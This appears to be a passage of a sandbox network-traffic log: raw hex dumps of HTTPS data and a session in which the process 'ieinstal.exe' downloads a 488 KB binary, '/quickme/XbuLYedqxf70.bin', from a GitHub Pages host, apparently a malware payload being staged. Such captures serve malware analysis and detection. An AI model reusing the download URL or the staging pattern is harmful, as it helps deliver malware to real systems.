\|ys2'~\r,6n$4W\GU\$?/WVFP _<&8ohW {$F6sb'(jDvid(04zN4Wd`@>wxolN1w
2023-06-07 15:08:48 UTC	2839	IN	Data Raw: 92 b8 61 57 07 e4 5d c8 ed 22 95 ef a2 aa ca 45 a5 8b 1f b2 ff 0a a8 29 a7 92 40 98 dc 0e f4 6e 93 6f 55 ef 2e ec 00 1f e4 2f b5 22 12 ff ff 40 4d ce 4e 24 99 1e 97 99 26 c9 45 32 f2 77 07 f8 60 13 f2 8e c9 68 8f 99 50 99 38 95 9c 92 58 41 58 99 92 92 13 72 22 ff 99 9a 99 a2 1a 2a c8 06 01 cf ff cc 9c 48 8e 02 ff 41 99 f6 1a 13 c9 91 42 9a f0 22 69 a3 f7 66 50 4a 00 0a 84 a4 17 1f 9a 3f e4 22 69 21 a6 a4 7c 5c 24 57 ec 84 87 e8 ae 22 39 85 9c b6 43 2c 23 4e e2 e4 e0 e8 77 72 b5 07 c9 43 70 9b 12 67 a4 d2 46 d3 45 3c 37 66 d8 9c da e4 45 70 ff 77 44 14 10 91 71 91 a4 07 ae 76 91 b4 76 50 ce 67 84 72 ea b8 48 f8 cf 44 b8 23 df c5 44 9c 57 0e 34 01 3c c9 d9 8a 5b 4f a7 45 0c 42 27 27 17 70 78 80 17 49 0b 35 ef a6 60 b4 24 23 97 05 0f 05 94 48 9c 9c 5c e8 f0 Data Ascii: aW]"E)@noU./"@MN$&E2w`hP8XAXr"*HAB"ifPJ?"i!\|\$W"9C,#NwrCpgFE<7fEpwDqvvPgrHD#DW4<[OEB''pxI5`$#H\
2023-06-07 15:08:48 UTC	2855	IN	Data Raw: 3f c1 c9 b5 13 b4 50 bf 98 b0 7f 25 57 c9 05 de c4 c8 91 4b ba bf d3 f8 78 10 21 a7 92 13 96 08 78 24 20 27 27 39 b5 5e 78 58 70 17 72 95 5c 32 84 cf 17 c8 c9 25 b8 d0 5c e4 84 5c 25 e4 b6 43 b9 40 8e 9c 79 18 79 30 86 25 17 72 2a 79 44 ce 25 17 c8 c9 78 90 b0 b9 e4 84 5c a4 b7 59 d8 a9 e4 02 39 f0 da b7 93 5c c8 7a 04 cc 7a 38 47 50 72 95 9c 60 bf 97 04 64 e4 e4 92 13 b8 60 98 b0 42 ae 92 0b 2e c4 81 1c b9 e4 d0 f8 7b 10 09 39 d5 70 58 ff 7b 24 a2 40 d8 96 b9 37 ff 16 c9 48 77 97 82 57 02 84 8e 42 27 94 87 97 b6 ff 7b d6 cb 90 48 7d 0e 09 2e 92 16 e2 2f 86 fc 33 f0 a0 00 4e 3b 57 98 43 b4 d0 05 97 8f 7d ff 7c 72 72 3b 95 98 6d 0f 75 7d 72 72 72 72 85 8d 95 9d 72 72 72 72 a5 ad b5 bd 72 72 72 72 c5 cd d5 dd 72 72 72 72 e5 ed f5 fd 39 39 39 39 99 05 0d 15 Data Ascii: ?P%WKx!x$ ''9^xXpr\2%\\%C@yy0%r*yD%x\Y9\zz8GPr`d`B.{9pX{$@7HwWB'{H}./3N;WC}\|rr;mu}rrrrrrrrrrrrrrrr9999
2023-06-07 15:08:48 UTC	2871	IN	Data Raw: 91 68 3a 72 f9 d7 80 99 80 80 a9 b7 99 b8 48 da 96 e0 d3 a6 8a 88 a3 9f b1 ff 80 2e 53 67 94 57 81 05 bf 44 9c 7d ab 4e 0d 06 0f 15 06 95 b4 45 11 6f fe 98 14 9a 3a 39 81 3f 47 4f 6e e1 6c 0b 3e 4f 05 0f 57 05 47 b5 07 c9 a1 b2 0c 81 81 57 46 2a 17 c9 38 ab 04 64 72 72 bb 48 dd 0f e5 ed 27 92 53 71 d5 8f b2 a8 82 17 70 2a 39 25 b2 e0 82 41 c8 d9 b7 8a 77 2e 49 03 0f 51 04 dd 58 04 d0 59 df 3f 8c 8b 82 47 b3 5c 67 83 55 c1 5b 83 bf 5e 90 5f 13 1c 79 c1 ad 3f b8 01 c0 02 5f c8 c9 97 b3 27 e4 04 3f fd 05 83 05 01 91 b3 db c9 07 08 2f 09 0f 10 0a 4d 30 92 c0 23 0a 1f 01 d8 16 08 b9 0f 00 9e 2e 15 2f a7 92 53 b1 2f b4 78 83 65 ec 09 98 6e 8f 6d bf 83 75 06 0f 0b 35 43 c4 7d 3f fe 19 27 57 49 f8 a7 af 9d 86 1e 30 5f 83 b7 5f c4 2a d9 16 ce b5 60 29 18 70 59 cf Data Ascii: h:rH.SgWD}NEo:9?GOnl>OWGWF8drrH'Sqp9%Aw.IQXY?G\gU[^_y?_'?/M0#./S/xenmu5C}?'WI0__*`)pY
2023-06-07 15:08:48 UTC	2887	IN	Data Raw: 72 ed a2 0f c6 57 40 8a 84 91 ca f0 06 6c 6f 7b 20 2f 0f 52 1a 52 22 52 2a 0f 5a e8 14 71 32 67 a6 c0 06 35 b9 48 5c f6 28 56 28 c7 5f e1 0c 97 bb 08 a5 8b 9f 4f 36 6f 49 41 aa 22 ff 0e c9 c1 aa 01 d2 d1 cf 6e c8 6d 72 e4 d9 06 e1 06 1f e9 db 2c cd 5e f1 0b 0f f9 6f 3f af a0 50 0b 1f af 53 42 6e db d9 01 13 0f 09 13 2f 1f 11 b0 41 2e e4 19 21 0c bf 6f 35 41 5a af 6e 29 bd 90 6e 05 7f 1f 31 39 25 1b 6a 8b 9d 0f 41 25 9f 1f 26 6f 62 b5 40 3b 49 26 3f 2f 02 70 44 0c 9f e3 50 cc 9e 2a ff 53 76 00 ef 7e 8f ad d8 34 4e 53 86 5f 2c 34 5b c0 1e 2f 3f 55 83 00 5c 96 ef c9 55 32 c1 2e 3f c0 c3 95 6e 17 c8 ce d9 ef e1 4f 27 e4 16 f9 53 ec 05 1f f7 54 02 45 2c 1b b3 0a 0f 0a bf 8e 5c c8 d9 0b 2f 12 0b 0e 1a 0e 85 5c c8 c4 1f 25 30 22 08 2d c8 3b 9f 1f ec 85 5c ec 46 Data Ascii: rW@lo{ /RR"RZq2g5H\(V(_O6oIA"nmr,^o?PSBn/A.!o5AZn)n19%jA%&ob@;I&?/pDPSv~4NS_,4[/?U\U2.?nO'STE,\/\%0"-;\F
2023-06-07 15:08:48 UTC	2903	IN	Data Raw: ca 00 d2 4f 66 1f 10 5f 22 da 04 0f e2 f2 06 bf a9 42 00 df 31 ff 22 10 64 5b 4e 25 23 1c 0e 24 01 2d d0 2c 60 2c 3f 3e 34 91 b3 27 b3 06 0f 3c 4c 08 1f 54 09 e4 c9 c8 93 61 61 0b 7a 7a 0d a4 12 11 70 82 08 7f db 82 16 dd 5f 5e 10 6a 8b 2f 5f 2f 8a 1b 36 d4 46 ce 0f 92 1c 9a 6f 1b bf 67 5b a2 25 4f 9e a2 27 0f af 1b c4 92 23 27 29 c8 1b f2 a8 b1 2a 4f 4f 23 d0 38 24 17 f2 23 bc 0d 24 78 23 7f 4f ae 7f f2 fa 01 0f 24 02 02 0a 1e 68 c4 91 03 12 02 bf 24 1a 08 98 8c bc cd 0f 27 1f 27 0a 40 21 16 6e 41 79 8f e0 c4 15 6a 3f df 4d a5 4e 25 95 0b fe 12 24 24 6a 01 9c 44 53 0e 72 df d5 31 72 f6 24 7a 06 0f 82 07 8a 3f 86 e8 12 a8 7f 17 0c c9 91 2f 4f 25 78 25 64 0f 1c 79 c8 f3 12 13 26 30 24 b4 4e 4e 4e 8e 24 bc c4 cc d4 b1 80 01 a6 bf 2f 9e 9c 5c 4f dc e9 e9 0c Data Ascii: Of_"B1"d[N%#$-,`,?>4'<LTaazzp_^j/_/6Fog[%O'#')*OO#8$#$x#O$h$''@!nAyj?MN%$$jDSr1r$z?/O%x%dy&0$NNN$/\O
2023-06-07 15:08:48 UTC	2919	IN	Data Raw: 40 48 e4 3a 26 39 b9 7f 87 58 0f 91 8c 74 2f 0e f7 57 01 4c 13 50 5d 72 83 78 8f 58 ea b4 aa d9 b4 03 0f c4 87 f7 ec eb 62 0f d5 e7 42 99 df 77 f0 53 32 21 7f 5f 59 00 b8 91 58 72 72 62 77 59 2c 3c b6 40 7a 11 57 00 77 e4 14 8c 9c 68 02 74 5f 1c 10 39 c9 4d a7 c8 52 97 71 59 90 5c 9b 64 00 04 f2 57 bc 84 5c 72 91 c8 e8 45 91 2d 20 e7 91 9c e4 b4 f7 12 43 5a 38 72 22 b9 76 9b 57 64 11 1c 1f 2c 84 5c 90 01 42 cc 61 1a 05 75 62 1f cd 62 c7 47 bb 23 d3 3f 0e 87 06 76 e1 76 6e 07 08 df cc 17 09 c6 05 d7 27 bc 2f c7 97 14 71 ab 2f 2e 37 91 37 90 69 1f cf 2e 07 23 4e 6e b7 d7 8f 88 0f 90 9b 2f b9 85 18 1e 5b 70 ef 77 49 2a 2e 39 39 51 5c ac 6f 72 e4 14 05 1f 5b f8 5c 04 45 4a 5a 6b cf 00 cf 90 9c 66 60 97 5c 20 17 c9 25 2d 56 b2 4c dc 09 83 aa 25 ff 17 5b e4 4a Data Ascii: @H:&9Xt/WLP]rxXbBwS2!_YXrrbwY,<@zWwht_9MRqY\dW\rE- CZ8r"vWd,\BaubbG#?vvn'/q/.77i.#Nn/[pwI*.99Q\or[\EJZkf`\ %-VL%[J
2023-06-07 15:08:48 UTC	2935	IN	Data Raw: f8 60 51 37 38 33 07 29 14 90 18 19 ab 5d 05 87 4c b9 9c 61 34 c6 9e b9 83 b9 36 49 c2 28 39 15 41 00 87 d2 1f 57 54 95 d4 09 ef 41 54 34 61 e7 d2 82 18 8d 6f 0c 84 00 60 1f a6 0e ad 9a 4d c1 35 d8 fb 53 4b 2b 36 37 28 38 15 82 e0 50 da 1f c1 cb 92 43 09 bf 51 01 45 38 87 94 20 6e 22 ef 89 44 22 29 5f 91 48 24 12 12 89 44 22 22 91 48 24 24 12 89 44 44 22 91 48 48 24 12 89 89 44 22 91 91 48 24 12 12 89 44 22 22 91 48 24 24 12 89 44 44 22 91 48 48 24 12 89 89 44 22 91 91 48 24 12 12 89 44 22 22 91 48 24 45 a1 65 59 3f 10 11 56 01 67 01 14 0a 04 1f b1 22 00 59 91 48 24 27 9f 12 89 44 22 22 91 48 24 24 12 89 44 44 22 91 48 48 24 12 89 b2 44 22 91 c4 b2 2c cb 28 14 45 9d 7f 94 88 02 46 77 56 ac aa 8a df 9f 00 07 b5 4c 9f 24 12 19 15 44 22 91 48 48 24 12 89 49 Data Ascii: `Q783)]La46I(9AWTAT4ao`M5SK+67(8PCQE8 n"D")_H$D""H$$DD"HH$D"H$D""H$$DD"HH$D"H$D""H$EeY?Vg"YH$'D""H$$DD"HH$D",(EFwVL$D"HH$I
2023-06-07 15:08:48 UTC	2951	IN	Data Raw: 57 11 06 1b ed 38 1c 2b 48 4c 2e 1e f8 7f df 7d 4d 8f 3b f0 f9 3b 13 26 b5 20 3e 20 69 f0 5a 02 0c 96 0d 9d 12 fd f0 5b ab 0c 07 34 13 e2 1a 07 f0 31 01 20 44 07 0b 1c fb 5f f0 f6 0b 23 04 0b 44 f0 27 78 38 01 4a 0d 4b 06 1d 09 64 ae 7e 09 0e ed 5b 38 30 14 17 13 9d 0d 28 03 06 10 b0 fd 9b a6 04 1f a3 89 01 0d 14 c0 0d 2b 1f 42 19 16 f0 ff 5f d1 b6 32 cc 0f 9d 10 07 15 0c 0f 0a 1a be f0 ff 00 f0 bf 04 3f 6d 15 15 5f 48 14 55 d3 0e 1e f6 93 c4 25 04 f0 37 fb ff b7 a6 e4 14 35 74 76 01 ae 52 33 96 f0 f1 00 12 a0 99 1f 71 0f 33 ae ff 6f ff df d0 0e 29 f0 08 01 96 99 f0 24 04 38 9c 0d 6f 0a 72 0d 6e 76 95 75 88 7c 83 5b c3 ff ff ab 8c c2 44 31 07 2d 07 6a 33 3b b9 f0 f4 00 3f f0 ad b0 17 8a 1e 01 ff ff 0b fe 61 1c 57 a5 81 f0 5d 10 40 0d 55 0d 3f 0e 92 4b 07 Data Ascii: W8+HL.}M;;& > iZ[41 D_#D'x8JKd~[80(+B_2?m_HU%75tvR3q3o)$8ornvu\|[D1-j3;?aW]@U?K
2023-06-07 15:08:48 UTC	2967	IN	Data Raw: 27 12 2b 12 3b 6a 35 26 12 35 17 3b 18 2d 81 f5 19 ee b4 02 0e 35 b0 03 1f 14 9d 08 9e 4c 58 98 e0 8d f8 7d 83 26 4c 1a 29 83 21 0f aa 3b 59 52 de 89 df f0 01 16 47 dc 20 8a 12 30 12 3a 41 cd 66 9b fc 5c 15 0f 40 1f 33 93 d8 bf 7f 48 1d 12 28 1b 0e 2a cc 35 32 43 f0 2c 1e 30 87 c4 0a ea 8f 30 97 a4 88 b1 2e ed ab 89 28 c6 01 8e 6c be 14 10 3f 0a 33 aa 00 72 e8 d6 65 40 27 28 2a 76 e8 9a 8c 28 5c 20 0c 86 a2 08 80 03 01 de 02 9c 59 3c 1f 68 1b fd bf 88 58 9e 7e 6f 60 66 2b 1d 34 20 36 1e 2f 48 32 59 36 22 fe bf a1 02 5c 16 36 5b 32 51 36 f0 d4 06 28 90 21 da 21 df f0 ff 68 d0 21 ac 18 da 18 c0 18 dc 18 d2 1a 3b 30 1a 72 3a 1a aa dd df 11 3c 02 42 11 3a 12 07 08 53 72 40 01 7e 54 fa 34 db 23 0e 6e fc f7 ff 2f 32 c4 1b 67 b6 3a 9c 31 40 59 64 41 6b f0 4b 01 Data Ascii: '+;j5&5;-5LX}&L)!;YRG 0:Af\@3H(52C,00.(l?3re@'(v(\ Y<hX~o`f+4 6/H2Y6"\6[2Q6(!!h!;0r:<B:Sr@~T4#n/2g:1@YdAkK
2023-06-07 15:08:48 UTC	2983	IN	Data Raw: 1c 2d 44 75 07 56 87 fd 70 61 f6 56 ac 5a 07 01 cf 67 57 08 3f 92 04 a2 39 67 15 74 37 35 1d eb ff bf 0a 64 5c 17 3b 39 89 16 d6 95 d3 28 30 18 7e 13 25 1b 95 4b f8 26 bc 20 4d 0f 0d 59 24 31 36 39 2d a6 fd 8b 04 98 b4 1a da 12 12 21 ac 3e 86 a2 49 fa ff ff 4e 9e 14 1b 0c 21 43 12 0d 37 97 13 13 6a 11 0a 22 4e 2b 31 30 61 2e 8b 85 56 20 0a 1c 88 4a 3c e8 64 16 15 c0 1d c0 48 38 26 0f 17 29 f8 26 60 61 a1 f0 57 60 35 5a da 33 22 ff 55 d6 5f 76 6e 58 4c 5e 1c 6f 2a 2a 1c 43 98 6a 21 1c 71 2a 5b 3f 82 ff ff 76 35 32 1b 3d a8 19 51 2f 0f 1a 1a a6 5d 15 23 28 73 09 35 47 55 ff 62 fd 20 2d 48 5c 2d 65 9e bb 51 1c 84 37 4c 07 78 eb bf 40 8c 5d 54 f6 95 e4 c4 52 b1 ef 61 d7 31 23 b0 1a f8 0c 41 80 85 7e 33 d0 26 62 00 0b 62 27 07 da d0 f6 df 64 e1 a9 5f b1 24 19 Data Ascii: -DuVpaVZgW?9gt75d\;9(0~%K& MY$169-!>IN!C7j"N+10a.V J<dH8&)&`aW`5Z3"U_vnXL^o*Cj!q[?v52=Q/]#(s5GUb -H\-eQ7Lx@]TRa1#A~3&bb'd_$
2023-06-07 15:08:48 UTC	2999	IN	Data Raw: f0 9c 1b 53 c7 2a 5a 00 01 d9 d4 30 55 01 0c 5b 04 34 e8 05 f0 5c 71 ba 81 43 3b a0 16 23 b8 02 37 ed 03 18 06 01 b7 f0 84 0b f3 e4 8a 8e 43 48 05 e1 44 60 02 30 a8 1c 08 07 00 17 1d 0c 31 e1 2a a0 eb 9c f5 55 f2 14 f2 f0 d4 06 f0 c4 06 48 9a 85 45 ea 20 34 97 b4 a2 2e cf e3 82 d6 04 10 c0 0b 01 5c 05 55 83 08 1b a0 02 5c af 05 73 38 45 0a e8 c0 50 0c eb 00 44 04 9c f0 d0 27 a3 aa 66 1d 14 1f 46 51 4d d2 f0 1c 6d 95 2e 28 28 37 1c b1 84 d4 54 44 14 75 c0 8e 15 05 5b 43 04 91 c2 06 bd 38 0f 50 31 08 15 f0 28 06 08 00 14 09 25 00 21 47 15 9b 90 c1 51 d0 71 54 7b 90 41 14 11 1d 00 0c 13 42 e2 60 6b 06 a9 00 55 22 2a 67 41 30 d9 48 6a 80 42 a6 88 5d 50 08 30 a4 35 3e c9 09 00 b9 02 4c a9 83 8a e4 f0 44 05 10 15 e2 0a 0a 53 01 fb aa 22 d0 14 38 5b 1b 21 80 d8 Data Ascii: SZ0U[4\qC;#7CHD`01UHE 4.\U\s8EPD'fFQMm.((7TDu[C8P1(%!GQqT{AB`kU"*gA0HjB]P05>LDS"8[!
2023-06-07 15:08:48 UTC	3015	IN	Data Raw: ff ff ff ff a9 d7 fc ff 28 9a f8 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 37 a0 f8 ff 37 a0 f8 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 28 9a f8 ff 28 9a f8 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 19 91 f6 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8f f7 20 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 9b d0 fb ff ff ff ff ff ff ff ff ff e2 f2 fe ff 7f c2 fa ff 28 9a f8 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 37 a1 f8 ff a9 d7 fc ff e3 f2 fe ff e2 f2 fe ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 18 8f f7 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 94 f7 9f 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 ff 1a 93 f7 Data Ascii: (77(( (7
2023-06-07 15:08:48 UTC	3031	IN	Data Raw: bb 57 88 7a 98 af 46 d8 af 05 e8 8b 91 85 54 92 e1 c4 06 57 c0 9f 61 19 e2 11 9c 28 fd 1a 68 f7 48 ab da 33 7b e3 f1 d9 b3 05 00 d9 49 b9 09 27 b2 1a b0 60 7b d4 fd 73 95 68 e9 a7 9e 49 7f fe 34 a5 39 11 79 10 8d 87 be f4 51 1d 65 e6 e6 7f 64 c1 e6 32 5e 81 0d 66 41 9c 48 e6 c0 b0 64 3d 8e 5f 40 86 e5 cd 3e bd 20 cc 69 7d 50 b4 6c 4a 01 6b e2 86 2f 76 09 20 8f a3 3f 3b b5 b4 f4 a3 83 a7 21 79 fb 76 62 29 ed 4f e1 27 7f 6f ea e2 f2 29 66 50 8b 62 94 3c b3 2c ff e4 32 e0 e6 9e 34 7c a6 c0 30 24 e1 21 18 3b 03 98 be 7e e5 f3 79 73 fa 19 bc f0 be 9e 87 e3 e2 48 ef 3c 75 63 23 d4 56 e0 de d5 83 0c 54 15 ec 95 a7 08 ce 96 24 25 39 95 ef fc 84 c4 51 0f 9a 1b b9 4a 10 e7 14 82 89 ae 89 73 b1 50 ac 2a 00 47 7f e1 79 23 91 31 91 a2 02 a8 f3 53 d4 ed 55 a2 48 4f 47 Data Ascii: WzFTWa(hH3{I'`{shI49yQed2^fAHd=_@> i}PlJk/v ?;!yvb)O'o)fPb<,24\|0$!;~ysH<uc#VT$%9QJsP*Gy#1SUHOG
2023-06-07 15:08:48 UTC	3047	IN	Data Raw: a3 82 01 3a 30 82 01 36 30 0f 06 03 55 1d 13 01 01 ff 04 05 30 03 01 01 ff 30 1d 06 03 55 1d 0e 04 16 04 14 ec d7 e3 82 d2 71 5d 64 4c df 2e 67 3f e7 ba 98 ae 1c 0f 4f 30 1f 06 03 55 1d 23 04 18 30 16 80 14 45 eb a2 af f4 92 cb 82 31 2d 51 8b a7 a7 21 9d f3 6d c8 0f 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 79 06 08 2b 06 01 05 05 07 01 01 04 6d 30 6b 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 43 06 08 2b 06 01 05 05 07 30 02 86 37 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 41 73 73 75 72 65 64 49 44 52 6f 6f 74 43 41 2e 63 72 74 30 45 06 03 55 1d 1f 04 3e 30 3c 30 3a a0 38 a0 36 86 34 68 74 74 70 3a 2f 2f 63 Data Ascii: :060U00Uq]dL.g?O0U#0E1-Q!m0U0y+m0k0$+0http://ocsp.digicert.com0C+07http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0EU>0<0:864http://c
2023-06-07 15:08:48 UTC	3063	IN	Data Raw: f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 bf e6 90 73 68 de bb e4 5d 4a 3c 30 22 30 69 33 ec c2 a7 25 2e c9 21 3d f2 8a d8 59 c2 e1 29 a7 3d 58 ab 76 9a cd ae 7b 1b 84 0d c4 30 1f f3 1b a4 38 16 eb 56 c6 97 6d 1d ab b2 79 f2 ca 11 d2 e4 5f d6 05 3c 52 0f 52 1f c6 9e 15 a5 7e be 9f a9 57 16 59 55 72 af 68 93 70 c2 b2 ba 75 99 6a 73 32 94 d1 10 44 10 2e df 82 f3 07 84 e6 74 3b 6d 71 e2 2d 0c 1b ee 20 d5 c9 20 1d 63 29 2d ce ec 5e 4e c8 93 f8 21 61 9b 34 eb 05 c6 5e ec 5b 1a bc eb c9 cf cd ac 34 40 5f b1 7a 66 ee 77 c8 48 a8 66 57 57 9f 54 58 8e 0c 2b b7 4f a7 30 d9 56 ee ca 7b 5d e3 ad c9 4f 5e e5 35 e7 31 cb da 93 5e dc 8e 8f 80 da b6 91 98 40 90 79 c3 78 c7 b6 b1 c4 b5 6a 18 38 03 10 8d d8 d4 37 a4 2e 05 7d 88 f5 82 3e 10 91 70 ab 55 Data Ascii: 0sh]J<0"0i3%.!=Y)=Xv{08Vmy_<RR~WYUrhpujs2D.t;mq- c)-^N!a4^[4@_zfwHfWWTX+O0V{]O^51^@yxj87.}>pU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49825	185.199.110.153	443	C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-07 15:08:49 UTC	3065	OUT	GET /quickme/XbuLYedqxf70.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: quickcheckx.github.io Connection: Keep-Alive
2023-06-07 15:08:49 UTC	3065	IN	HTTP/1.1 200 OK Connection: close Content-Length: 488000 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Wed, 19 Apr 2023 22:06:43 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "644065f3-77240" expires: Wed, 07 Jun 2023 14:50:00 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: EF84:AD70:2E04E85:2F8B9F0:648096C0 Accept-Ranges: bytes Date: Wed, 07 Jun 2023 15:08:49 GMT Via: 1.1 varnish Age: 456 X-Served-By: cache-fra-eddf8230120-FRA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1686150530.992319,VS0,VE4 Vary: Accept-Encoding X-Fastly-Request-ID: bc490c7cfc77a304691f1d46836036cfda4c04be
2023-06-07 15:08:49 UTC	3066	IN	Data Raw: ae f9 f1 8e b9 f4 f2 20 a3 cc 50 bd 6e 4e 88 90 6e 65 63 ad 02 56 59 b5 9a 00 76 95 3b e4 80 81 0c e2 ec bd f9 0a ae 47 7e 55 99 78 fb 7c d5 96 eb 37 2e 37 df 27 88 15 21 ea 5b 0e ac 4a 17 09 a7 47 bf d1 41 ef f0 41 28 14 b8 1b 96 49 86 b4 0a 06 9b 45 19 ff 41 6f c5 00 72 66 ba b3 7d be 7e 91 67 94 29 b1 12 4c 2c a4 de 8d 15 ab 7c ea 7b ae 13 25 2c 82 e8 a7 d6 0a dd d0 9a a4 be 36 44 f1 79 ed 52 eb a0 2a 31 88 43 72 99 27 84 ec f8 f0 d9 fc 40 19 7a 5a 6b 74 f2 1c c0 a1 7a b9 c1 4f 85 9d ef f2 fd 83 25 48 92 df 8e 3a 70 75 55 22 9f 18 3d 49 fa 93 75 16 8e 7c b4 50 15 8a 1d dd 1f 09 61 68 99 c6 1f 8d dd a1 fa 57 45 2a 5a 70 4a 4c 30 9e b6 e2 9a 87 30 2b a6 e4 f1 e3 70 97 dc ed 15 5f 3d 9e ed 5a 1a 79 42 cf 96 b6 bc ef 2d eb 8c 57 66 01 8b 2a 16 84 f9 30 4d Data Ascii: PnNnecVYv;G~Ux\|7.7'![JGAA(IEAorf}~g)L,\|{%,6DyR1Cr'@zZktzO%H:puU"=Iu\|PahWEZpJL00+p_=ZyB-Wf*0M
2023-06-07 15:08:49 UTC	3067	IN	Data Raw: c8 c1 84 0f cc 1f e7 ee 12 47 28 75 8c 0f 4f 59 e5 7e 70 92 54 f3 ff a3 b1 31 e0 81 2d 7f ed c4 60 4a fc 54 dd aa 32 45 7c 24 ad 40 7b 80 2c ab 54 49 1d 48 65 e7 9e be 14 a7 4f c2 78 16 72 bb 77 a1 55 54 9a 4f 10 39 4f 30 e3 df 54 aa e0 7c 7e c5 a4 e2 0f c3 78 24 ba 2d 5a 4e 13 a9 c0 19 86 27 07 e4 fa 41 e1 62 10 22 2e 8d fb a5 09 2d f3 9a 2e 12 ac 33 d4 c6 92 b4 59 64 e6 0c 08 ee 9b bf 44 c6 83 0d 21 35 fd ec 7b 79 5e 23 8e e0 5e 54 2c 34 50 89 97 b5 2f d3 90 10 d6 7d fc 65 4b 06 d8 7c 5f a5 66 77 4f 6c f7 9e c8 7a 1d e6 b3 e6 2c 1d ee 8a 03 79 b8 52 af 55 d1 1a b8 67 19 e5 31 59 5a ba 77 ef 9d 7f 90 f7 89 b1 33 1b 83 79 0a f5 be f9 bb 20 5b 1c e7 6f fe 29 83 b1 67 79 3f 09 6d 23 9c 0e f7 39 89 b9 73 9b 91 a2 16 f1 11 91 b1 ca 04 02 6a 9c 42 5b 2e bc 81 Data Ascii: G(uOY~pT1-`JT2E\|$@{,TIHeOxrwUTO9O0T\|~x$-ZN'Ab".-.3YdD!5{y^#^T,4P/}eK\|_fwOlz,yRUg1YZw3y [o)gy?m#9sjB[.
2023-06-07 15:08:49 UTC	3068	IN	Data Raw: f9 9e 17 0b 63 93 59 b7 29 3c 3e 3e 54 b6 ce 8d 00 f2 14 82 47 df df 5c 6b c2 fc 54 38 5d 34 bc 67 c2 4b 89 39 30 af 2e ec 8b 19 ac 79 bf bc fb fb 16 19 4a 83 4c d8 78 dd c6 9d ad 94 1d f4 54 b5 3d 4e 5a 56 96 87 c1 a7 5a 41 cc 89 d6 68 0e e6 86 7f a5 72 9b 0a a5 b2 de 0e ff c7 4a 86 71 ac ea de 61 e8 55 76 64 8b 31 2d 95 ec 6a 6e 5c 0a 0e fd 4f 81 fb 13 65 a1 12 88 42 40 77 e7 5e 39 58 bd 98 87 d1 f4 48 7f 36 d5 78 c6 87 1b 57 bc 50 26 ba 1c 8a c1 9f 5f e9 38 d0 84 7d f5 0c 25 dd 97 49 dc 1a 9d 0a cd 22 4e 89 50 18 71 28 db 26 8b fe af 04 af c2 fb 15 6c 68 fb 11 fe fd d7 a7 65 4e 01 50 a0 06 f3 56 73 71 00 2c 47 b7 ca 9a c0 70 96 fc f0 14 1f 7c 71 cb 82 5f 23 19 05 e9 1d 9d 23 3a 7b 0d 26 0c ed 26 31 98 04 23 5b a4 17 e7 82 90 62 d6 85 6e e0 6a 61 9f 7f Data Ascii: cY)<>>TG\kT8]4gK90.yJLxT=NZVZAhrJqaUvd1-jn\OeB@w^9XH6xWP&_8}%I"NPq(&lheNPVsq,Gp\|q_##:{&&1#[bnja
2023-06-07 15:08:49 UTC	3070	IN	Data Raw: 85 b8 9d 3d fd 94 90 b5 a0 2f 54 05 87 d3 91 2e eb 46 2f a9 71 58 df 8c 2d 72 1e 43 ac b4 c4 e0 02 36 01 14 79 03 15 07 08 da fd 0c 59 4e ad 3c 00 e2 1c 6f ab 4b 26 11 88 3f a6 82 a8 ac d8 da 4b f9 8f 7c 89 cd 5d 28 0c f2 29 bb 1f 92 b4 fa 40 f7 0c 8a a8 c8 ea 52 a3 7d 82 19 b0 fe d0 07 5f a8 67 41 e7 e5 3f 10 ed fc c6 da ed 5f e4 ee 6e 0f 1d 55 e3 9a b6 71 94 11 2e 93 d2 f2 a4 83 ae 8a 0f 89 e4 fb 49 ac d6 fd b5 6e 9a 75 7e a7 eb cc 5b ef c5 b6 81 c9 c4 9c ca 29 2c a7 af 2c 9a a1 78 d8 a2 72 d4 eb f0 f9 08 d2 fd 53 45 3b b7 b1 bb 6c d8 ce 8c a9 71 f3 40 f4 cc f6 1d 89 1b ee f6 45 32 f2 49 31 20 7b 67 3c a1 a9 05 09 55 f0 c5 99 85 67 54 98 5a 6d 24 e4 4d b2 1a 40 65 82 a2 13 94 65 50 14 83 cc 4e 2d 7f aa b0 8f be 64 fa f4 06 4e 37 67 57 3b 0e 91 2d 26 63 Data Ascii: =/T.F/qX-rC6yYN<oK&?K\|]()@R}_gA?_nUq.Inu~[),,xrSE;lq@E2I1 {g<UgTZm$M@eePN-dN7gW;-&c
